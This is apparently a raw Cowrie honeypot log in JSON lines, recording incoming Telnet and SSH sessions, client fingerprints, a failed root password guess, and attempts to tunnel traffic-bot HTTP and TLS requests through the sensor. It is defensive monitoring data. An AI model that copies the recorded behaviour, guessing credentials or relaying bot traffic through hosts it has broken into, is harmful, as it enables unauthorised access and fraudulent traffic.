{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47916,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cb15f7dd2a","protocol":"telnet","message":"New connection: 128.199.8.54:47916 (159.203.135.109:23) [session: 00cb15f7dd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:00.677474Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:02.571970Z","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:02.608277Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4.1 Mobile/17E262 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z19LRy9uZyZRYXh5KFdRcw%3D%3Dd1Vc1KpL%2FSxc%2B%2BnV8kY6Krbz1wgx1s7WpyvNhHYyHadoSlmMspJymy%2BmvEpfjdzUneFooWnuTl2%2Bxyw14XcolS%2BGgoxcx82RoX0Yo7KZGlNqL44KWxYW1tgRkIDtWda8caJIl7GoyMfqzwjVI38%2Bu8W1I0Tzhm7ZePBvFXS7iMsnqBMI0Em6PeQiYXi%2BmUX%2FFKLbDXqWIr04CNwqS32s3kPqeW4AH2%2F%2B6lbJfMRE%2BSf7S9fdgcX%2FtBH%2B6DIuPkVJVTkw9%2FTiKDIsZcQ%2F5VozZ6pQMpo86TNWWza%2Fa8kQLBWw1XASY%2FpPuWnaacrqpMPZWtetpDhQnMiv6W5BF0k8Nr9R4EZjdg%2FelycnznDulIFCqTJFAcLu7Dnq0SOOdLLI6Wu7GxVRhrvGzJ0ORXefZgjqHosWYe2IUdKIloab34sRnD%2FKgYNScMYBYonv7kk0yQTJUGAYVxxP8sVboNNuoQNY2wBgOjO0%2BUq9SQhkqiKHFNDtg9JeA9UlGDzTGCrOYp59m%2BhATyIym2VbBK9wRcuhjiZgdmVTaktiUFMQvqG5vqOfrl7eXFTwOEbMG%2FKcBTSPPYRjWF9yucQNV3xbgU1z29HA9Womkt5EASocEIBxmm2ogFdzIB7mZp69fQAvCTMNIes%2FpRxxxDsucxQvC9LWlEtl27bIMDIrW6tLBgW%2FyS9A4DDmCVUUQhz6s0DHlfdt1t7QupHrfhH8IuM7zql6czWH8Jv%2FGBRnCjFwWqMusUWcQLFmIKamfGm7v4C73UeWuyyJnZkBLULymc8x4BgXD9AefMSWs6ccVqXjBVaCoRdct%2BpMcWCaO%2B0%2BMg8sGBV%2FdLhe3NdzmuOuMKaV5g1HrS3ZRJ2eY89H4PDS914MWWNJf296FJC58R0o2PlbWxBzZSSBopOiZRRC7gWmganWQ1nK5ZdMEMBkPrplt0sab1HYUkO25J2kvugIYeDAXhKbyyCmbLfKYaKSTIKZkKicgGlCd7SkHNw5XjL1iAQf9sPB%2FGXMqaHHIK4bZPnK0XAs0eiueq%2FK5QquEJ0GoWCKIGNJS%2FvZcdtLvf0901CN3prDgszYyWR8fYKMbQBv'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.4.1 Mobile/17E262 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z19LRy9uZyZRYXh5KFdRcw%3D%3Dd1Vc1KpL%2FSxc%2B%2BnV8kY6Krbz1wgx1s7WpyvNhHYyHadoSlmMspJymy%2BmvEpfjdzUneFooWnuTl2%2Bxyw14XcolS%2BGgoxcx82RoX0Yo7KZGlNqL44KWxYW1tgRkIDtWda8caJIl7GoyMfqzwjVI38%2Bu8W1I0Tzhm7ZePBvFXS7iMsnqBMI0Em6PeQiYXi%2BmUX%2FFKLbDXqWIr04CNwqS32s3kPqeW4AH2%2F%2B6lbJfMRE%2BSf7S9fdgcX%2FtBH%2B6DIuPkVJVTkw9%2FTiKDIsZcQ%2F5VozZ6pQMpo86TNWWza%2Fa8kQLBWw1XASY%2FpPuWnaacrqpMPZWtetpDhQnMiv6W5BF0k8Nr9R4EZjdg%2FelycnznDulIFCqTJFAcLu7Dnq0SOOdLLI6Wu7GxVRhrvGzJ0ORXefZgjqHosWYe2IUdKIloab34sRnD%2FKgYNScMYBYonv7kk0yQTJUGAYVxxP8sVboNNuoQNY2wBgOjO0%2BUq9SQhkqiKHFNDtg9JeA9UlGDzTGCrOYp59m%2BhATyIym2VbBK9wRcuhjiZgdmVTaktiUFMQvqG5vqOfrl7eXFTwOEbMG%2FKcBTSPPYRjWF9yucQNV3xbgU1z29HA9Womkt5EASocEIBxmm2ogFdzIB7mZp69fQAvCTMNIes%2FpRxxxDsucxQvC9LWlEtl27bIMDIrW6tLBgW%2FyS9A4DDmCVUUQhz6s0DHlfdt1t7QupHrfhH8IuM7zql6czWH8Jv%2FGBRnCjFwWqMusUWcQLFmIKamfGm7v4C73UeWuyyJnZkBLULymc8x4BgXD9AefMSWs6ccVqXjBVaCoRdct%2BpMcWCaO%2B0%2BMg8sGBV%2FdLhe3NdzmuOuMKaV5g1HrS3ZRJ2eY89H4PDS914MWWNJf296FJC58R0o2PlbWxBzZSSBopOiZRRC7gWmganWQ1nK5ZdMEMBkPrplt0sab1HYUkO25J2kvugIYeDAXhKbyyCmbLfKYaKSTIKZkKicgGlCd7SkHNw5XjL1iAQf9sPB%2FGXMqaHHIK4bZPnK0XAs0eiueq%2FK5QquEJ0GoWCKIGNJS%2FvZcdtLvf0901CN3prDgszYyWR8fYKMbQBv'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:02.615156Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25847148895264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:03.758764Z","src_ip":"103.249.87.183","session":"82f21ca0b792","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.619492Z","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.710791Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"L\\x05{\\xa2\\xbcEC\\xa6\\x10 >\\xee\\xe9w\\xc2w\\x88\\x01\\xd61\\xfd\\xec\\x98&\\x92\\xaa\\xfa\\xd4\\x07*\\xd2 \\x10F\\x03\\xab(\\xaa\\xaf\\x08P\\x90\\x10\\r\\x94z S\\xbe\\xc7\\x8e\\xe2r\\xd6E\\x14\\xd2<\\xe9\\xd1\\x15\\x86\\xf1j\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x18\\x95\\xf2\\xaf\\xb5hE\\xac\\xfbp\\xdfd\\x99\\xda-\\x98\\xc6\\x1c\\xac\\xcaptmX\\x05$\\x06\\xb5-h/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"L\\x05{\\xa2\\xbcEC\\xa6\\x10 >\\xee\\xe9w\\xc2w\\x88\\x01\\xd61\\xfd\\xec\\x98&\\x92\\xaa\\xfa\\xd4\\x07*\\xd2 \\x10F\\x03\\xab(\\xaa\\xaf\\x08P\\x90\\x10\\r\\x94z S\\xbe\\xc7\\x8e\\xe2r\\xd6E\\x14\\xd2<\\xe9\\xd1\\x15\\x86\\xf1j\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x18\\x95\\xf2\\xaf\\xb5hE\\xac\\xfbp\\xdfd\\x99\\xda-\\x98\\xc6\\x1c\\xac\\xcaptmX\\x05$\\x06\\xb5-h/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.714324Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.763393Z","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.847445Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6tBn\\xf19T\\xb0XT\\x7f\\xf3-d\\x95A\\xae\\r\\xfb]\\x05Z\\x059\\x1ei \\xaee\\xf5F\\xb8 \\xac\\xd9}\\xfc\\xfb\\xda\\x7f\\x1f\\xc4\\x1b{w\\xf1iMn\\xc1M<\\xd2W\\xac\\xdd\\x14X\\xc30=\\xcc\\xcf\\xde%\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xef\\xf2\\xca\\xa8\\x91a\\xc69\\xcb\\xee\\x1f\\xd6\\xe2\\x1er\\x95o$\\xb6\\xe6\\xc5X\\x9b<&]\\xc2\\xaa\\x99\\xc5\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6tBn\\xf19T\\xb0XT\\x7f\\xf3-d\\x95A\\xae\\r\\xfb]\\x05Z\\x059\\x1ei \\xaee\\xf5F\\xb8 \\xac\\xd9}\\xfc\\xfb\\xda\\x7f\\x1f\\xc4\\x1b{w\\xf1iMn\\xc1M<\\xd2W\\xac\\xdd\\x14X\\xc30=\\xcc\\xcf\\xde%\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xef\\xf2\\xca\\xa8\\x91a\\xc69\\xcb\\xee\\x1f\\xd6\\xe2\\x1er\\x95o$\\xb6\\xe6\\xc5X\\x9b<&]\\xc2\\xaa\\x99\\xc5\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:05.850615Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.06792879104614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:09.132321Z","src_ip":"172.81.62.90","session":"d8566b23cc84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33086,"dst_ip":"159.203.135.109","dst_port":22,"session":"e002c4c93185","protocol":"ssh","message":"New connection: 194.113.233.25:33086 (159.203.135.109:22) [session: e002c4c93185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:09.412872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:09.417929Z","src_ip":"194.113.233.25","session":"e002c4c93185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:09.502208Z","src_ip":"194.113.233.25","session":"e002c4c93185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30061984","message":"login attempt [root/30061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:09.756946Z","src_ip":"194.113.233.25","session":"e002c4c93185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:10.850314Z","src_ip":"194.113.233.25","session":"e002c4c93185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cfb53cffb0e","protocol":"ssh","message":"New connection: 2.99.213.222:58164 (159.203.135.109:22) [session: 6cfb53cffb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:12.953177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:12.958005Z","src_ip":"2.99.213.222","session":"6cfb53cffb0e","protocol":"ssh"}
